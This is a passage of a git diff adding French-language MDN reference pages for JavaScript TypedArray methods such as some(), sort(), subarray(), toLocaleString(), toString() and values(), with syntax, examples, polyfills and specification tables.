+ <dd>Si l'indice utilisé est négatif, <code>fin</code> indiquera le décalage par rapport à la fin de la séquence. Ainsi, <code>slice(2,-1)</code> extraira à partir du troisième élément et jusqu'à l'avant dernier élément (compris).</dd>
+ <dd>Par défaut, si <code>fin</code> n'est pas utilisé, <code>slice()</code> extraira les éléments jusqu'à la fin de la séquence (<code>arr.length</code>).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouveau tableau typé qui contient les éléments extraits.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>slice()</code> ne modifie pas le tableau typé courant, elle renvoie une copie superficielle (<em>shallow copy</em>) du tableau typé original.</p>
+
+<p>Si un nouvel élément est ajouté à l'un des deux tableaux typés, l'autre ne sera pas impacté.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([1,2,3]);
+uint8.slice(1);   // Uint8Array [ 2, 3 ]
+uint8.slice(2);   // Uint8Array [ 3 ]
+uint8.slice(-2);  // Uint8Array [ 2, 3 ]
+uint8.slice(0,1); // Uint8Array [ 1 ]</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Il n'existe pas d'objet global intitulé <em>TypedArray</em>, la prothèse doit donc uniquement être employée si nécessaire :</p>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.slice
+if (!Uint8Array.prototype.slice) {
+  Object.defineProperty(Uint8Array.prototype, 'slice', {
+    value: function (begin, end){
+      return new Uint8Array(Array.prototype.slice.call(this, begin, end));
+    }
+  });
+}
+</pre>
+
+<p>De plus cette prothèse n'est pas parfaite car elle renvoie une instance d'<code>Array</code> et pas de <code>Uint8Array</code>. Elle manque donc des propriétés normalement associées aux objets <code>TypedArray</code>.</p>
+
+<p>S'il faut également prendre en charge les moteurs JavaScript qui ne prennent pas en charge la méthode {{jsxref("Object.defineProperty")}}, mieux vaut ne pas ajouter de prothèse du tout pour <code>TypedArray.prototype</code> car on ne peut pas les rendre non-énumérables.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.slice")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/some/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/some/index.html
new file mode 100644
index 0000000000..31fb309ab9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/some/index.html
@@ -0,0 +1,125 @@
+---
+title: TypedArray.prototype.some()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/some
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/some
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>some()</strong></code> teste si certains éléments du tableau typé remplissent une condition décrite par la fonction de test donnée. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.some()")}}<em>. </em>Dans le reste de cet article <em>TypedArray</em> correspond à un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableaux typés</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-some.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.some(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à tester pour chaque élément. Elle prend trois arguments :
+ <dl>
+  <dt><code>valeurCourante</code></dt>
+  <dd>L'élément du tableau typé en cours de traitement.</dd>
+  <dt><code>index</code></dt>
+  <dd>L'indice de l'élément du tableau typé en cours de traitement.</dd>
+  <dt><code>array</code></dt>
+  <dd>Le tableau typé sur lequel la méthode <code>some</code> a été appelée.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Paramètre optionnel, la valeur à utiliser en tant que <code>this</code> lors de l'exécution de <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si la fonction de rappel renvoie une valeur équivalente à <code>true</code> pour chaque élément du tableau typé, <code>false</code> sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>some</code> exécute la fonction <code>callback</code> fournie pour chaque élément du tableau typé jusqu'à ce que <code>callback</code> renvoie une valeur vraie (une valeur qui vaut <code>true</code> lorsqu'elle est convertie en un booléen). Si un tel élément est trouvé, la méthode <code>some</code> renvoie immédiatement <code>true</code>. Dans le cas contraire, si <code>callback</code> renvoie une valeur fausse pour tous les éléments, la méthode <code>some</code> renverra <code>false</code>.</p>
+
+<p><code>callback</code> est appelé avec trois arguments : la valeur de l'élément, l'indice de cet élément et le tableau qui est parcouru.</p>
+
+<p>Si le paramètre <code>thisArg</code> est utilisé, il sera passé à la fonction <code>callback</code> en tant que valeur <code>this</code>. Sinon, la valeur <code>undefined</code> sera utilisée comme valeur <code>this</code>. La valeur <code>this</code> définitivement prise en compte par la fonction <code>callback</code> est déterminée selon <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">les règles usuelles de détermination de <code>this</code></a>.</p>
+
+<p><code>some</code> ne modifie pas le tableau typé sur lequel elle a été appelée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Tester_la_valeur_des_éléments_d'un_tableau_typé">Tester la valeur des éléments d'un tableau typé</h3>
+
+<p>Dans l'exemple qui suit, on teste s'il existe au moins un élément du tableau typé qui est supérieur à 10.</p>
+
+<pre class="brush: js  language-js">function supérieurÀ10(élément, index, array) {
+  return élément &gt; 10;
+}
+new Uint8Array([2, 5, 8, 1, 4]).some(supérieurÀ10);  // false
+new Uint8Array([12, 5, 8, 1, 4]).some(supérieurÀ10); // true
+</pre>
+
+<h3 id="Tester_la_valeur_des_éléments_avec_les_fonctions_fléchées">Tester la valeur des éléments avec les fonctions fléchées</h3>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Les fonctions fléchées</a> permettent d'utiliser une syntaxe plus concise pour arriver au même résultat :</p>
+
+<pre class="brush: js">new Uint8Array([2, 5, 8, 1, 4]).some(elem =&gt; elem &gt; 10); // false
+new Uint8Array([12, 5, 8, 1, 4]).some(elem =&gt; elem &gt; 10); // true</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Il n'existe pas d'objet global intitulé <em>TypedArray</em>, la prothèse doit donc uniquement être employée si nécessaire :</p>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.slice
+if (!Uint8Array.prototype.some) {
+  Object.defineProperty(Uint8Array.prototype, 'some', {
+    value: Array.prototype.some
+  });
+}
+</pre>
+
+<p>S'il faut également prendre en charge les moteurs JavaScript qui ne prennent pas en charge la méthode {{jsxref("Object.defineProperty")}}, mieux vaut ne pas ajouter de prothèse du tout pour <code>TypedArray.prototype</code> car on ne peut pas les rendre non-énumérables.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.some")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/sort/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/sort/index.html
new file mode 100644
index 0000000000..d6a83dfc5b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/sort/index.html
@@ -0,0 +1,92 @@
+---
+title: TypedArray.prototype.sort()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/sort
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/sort
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>sort()</strong></code> permet de trier numériquement les éléments d'un tableau typé, à même ce tableau. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.sort()")}} en triant les valeurs par ordre numérique plutôt que par ordre lexicographique<em>.</em> Par la suite, <em>TypedArray</em> désigne l'un des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">types de tableau typé</a> here.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-sort.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.sort([<var>fonctionComparaison</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>fonctionComparaison</code> {{optional_inline}}</dt>
+ <dd>Cette fonction définit l'ordre de tri à appliquer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le tableau typé trié.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour plus d'exemples, voir la page sur la méthode {{jsxref("Array.prototype.sort()")}}.</p>
+
+<pre class="brush: js">var nombres = new Uint8Array([40, 1, 5, 200]);
+nombres.sort();
+// Uint8Array [ 1, 5, 40, 200 ]
+// Contrairement aux tableaux classiques (Array), une fonction
+// de comparaison n'est pas nécessaire pour les nombres
+
+var nombres2 = [40, 1, 5, 200];
+nombres2.sort();
+// Les éléments d'un tableau classique sont triés comme des chaînes
+// [1, 200, 40, 5]
+
+function comparaisonNombres(a, b) {
+  return a - b;
+}
+
+nombres.sort(comparaisonNombres);
+// [ 1, 5, 40, 200 ]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.sort")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/subarray/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/subarray/index.html
new file mode 100644
index 0000000000..78456fb4cd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/subarray/index.html
@@ -0,0 +1,96 @@
+---
+title: TypedArray.prototype.subarray()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/subarray
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/subarray
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code>subarray()</code> permet de renvoyer un nouvel objet <em>TypedArray</em> basé sur le même {{jsxref("ArrayBuffer")}} et dont les éléments sont du même type que l'objet <em>TypedArray</em> courant. Le paramètre <code>début</code> est à considérer au sens large et le paramètre <code>end</code> est à considérer au sens strict. <em>TypedArray</em> est l'un des types de <a href="/fr/docs/Web/JavaScript/Tableaux_typés#Les_objets_TypedArray">tableaux typés</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-subarray.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarr</var>ay.subarray([début[,fin]])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>début</code>{{optional_inline}}</dt>
+ <dd>L'élément à partir duquel commencer le nouveau tableau typé. Cet élément initial sera inclus dans le nouveau tableau (sens large). Si la valeur n'est pas définie, tout le tableau sera inclus dans la nouvelle vue.</dd>
+ <dt><code>fin</code>{{optional_inline}}</dt>
+ <dd>L'élément auquel finir le nouveau tableau typé. Cet élément ne fera pas partie du nouveau tableau (sens strict). Si ce paramètre n'est pas utilisé, tous les éléments contenus à partir de <code>début</code> jusqu'à la fin du tableau courant seront inclus dans la nouvelle vue.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet {{jsxref("TypedArray")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'intervalle défini par <code>début</code> et <code>fin</code> est redimensionné si besoin pour être un intervalle valide en regard du tableau courant. Si la longueur du nouveau tableau est négative, elle est ramenée à zéro. Si <code>début </code>ou <code>fin </code>a une valeur négative, on prendra en compte la position à partir de la fin du tableau et non à partir du début de celui-ci.</p>
+
+<p>On notera que cette méthode permet de créer un nouvelle vue sur le tampon (<em>buffer</em>) existant, tous les changements apportés via le nouvel objet impacteront le tableau typé initial et vice versa.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var uint8 = new Uint8Array(buffer);
+uint8.set([1,2,3]);
+
+console.log(uint8); // Uint8Array [ 1, 2, 3, 0, 0, 0, 0, 0 ]
+
+var sub = uint8.subarray(0,4);
+
+console.log(sub);   // Uint8Array [ 1, 2, 3, 0 ]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée par ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.subarray', 'TypedArray.prototype.subarray')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.subarray', 'TypedArray.prototype.subarray')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.subarray")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/tolocalestring/index.html
new file mode 100644
index 0000000000..605a1d14be
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/tolocalestring/index.html
@@ -0,0 +1,78 @@
+---
+title: TypedArray.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/toLocaleString
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toLocaleString()</strong></code> renvoie une chaîne de caractères uqi représente les éléments du tableau typé. Les éléments sont convertis en chaînes de caractères et séparés par une chaîne de caractères qui est fonction de la locale (la virgule « , » par exemple). Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.toLocaleString()")}} et vu que les éléments d'un tableau typé sont des nombres, elle utilise le même algorithme que {{jsxref("Number.prototype.toLocaleString()")}} pour chaque élément. Dans la suite de cet article, <em>TypedArray</em> fait référence à <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">l'un des types de tableau typé listés ici</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarr</var>ay.toLocaleString([locales [, options]]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Référence/Objets_globaux/NumberFormat', 'Paramètres')}}</div>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente les éléments du tableau typé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var uint = new Uint32Array([2000, 500, 8123, 12, 4212]);
+
+uint.toLocaleString();
+// Si on utilise la locale de-DE
+// "2.000,500,8.123,12,4.212"
+
+uint.toLocaleString("en-US");
+// "2,000,500,8,123,12,4,212"
+
+uint.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' });
+// "￥2,000,￥500,￥8,123,￥12,￥4,212"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.tolocalestring', 'TypedArray.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.tolocalestring', 'TypedArray.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.toLocaleString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Number.prototype.toLocaleString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/tostring/index.html
new file mode 100644
index 0000000000..b9a4932d9a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/tostring/index.html
@@ -0,0 +1,79 @@
+---
+title: TypedArray.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/toString
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toString()</strong></code> renvoie une chaîne de caractères qui représente le tableau typé et ses éléments. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.toString()")}}<em>.</em> Dans la suite de cet article, <em>TypedArray</em> fait référence à <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">l'un des types de tableau typé listés ici</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-tostring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.toString()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente les éléments du tableau typé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets {{jsxref("TypedArray")}} surchargent la méthode <code>toString</code> de {{jsxref("Object")}}. Pour les objets <code>TypedArray</code>, la méthode <code>toString</code> fusionne le tableau et renovoie une chaîne de caractères contenant les éléments du tableau, chacun séparés par une virgule. Par exemple :</p>
+
+<pre class="brush: js">var numbers = new Uint8Array([2, 5, 8, 1, 4])
+numbers.toString(); // "2,5,8,1,4"
+</pre>
+
+<p>JavaScript appelle automatiquement la méthode <code>toString()</code> lorsqu'un tableau typé doit être manipulé sous une forme textuelle (par exemple lorsqu'il est utilisé avec une chaîne de caractères dans une concaténation).</p>
+
+<h3 id="Compatibilité">Compatibilité</h3>
+
+<p>Si un navigateur ne prend pas encore en charge la méthode <code>TypedArray.prototype.toString()</code>, le moteur JavaScript utilisera la méthode <code>toString</code> rattachée à {{jsxref("Object")}} :</p>
+
+<pre class="brush: js">var numbers = new Uint8Array([2, 5, 8, 1, 4])
+numbers.toString(); // "[object Uint8Array]"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.tostring', 'TypedArray.prototype.toString')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.tostring', 'Array.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.toString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.join()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/values/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/values/index.html
new file mode 100644
index 0000000000..08f16af8f9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/typedarray/values/index.html
@@ -0,0 +1,92 @@
+---
+title: TypedArray.prototype.values()
+slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/values
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/values
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>values()</code></strong> renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs pour chaque indice du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-values.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>typedArr</var>.values()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Array Iterator</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Parcourir_le_tableau_typé_avec_for...of">Parcourir le tableau typé avec <code>for...of</code></h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArray = arr.values();
+// prérequis : le navigateur doit supporter les boucles
+// for..of et les variables dont la portée est définie
+// par let
+for (let n of eArray) {
+  console.log(n);
+}
+</pre>
+
+<h3 id="Une_autre_méthode_d'itération">Une autre méthode d'itération</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr.values();
+console.log(eArr.next().value); // 10
+console.log(eArr.next().value); // 20
+console.log(eArr.next().value); // 30
+console.log(eArr.next().value); // 40
+console.log(eArr.next().value); // 50
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.TypedArray.values")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("TypedArray.prototype.entries()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.keys()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}</li>
+</ul>
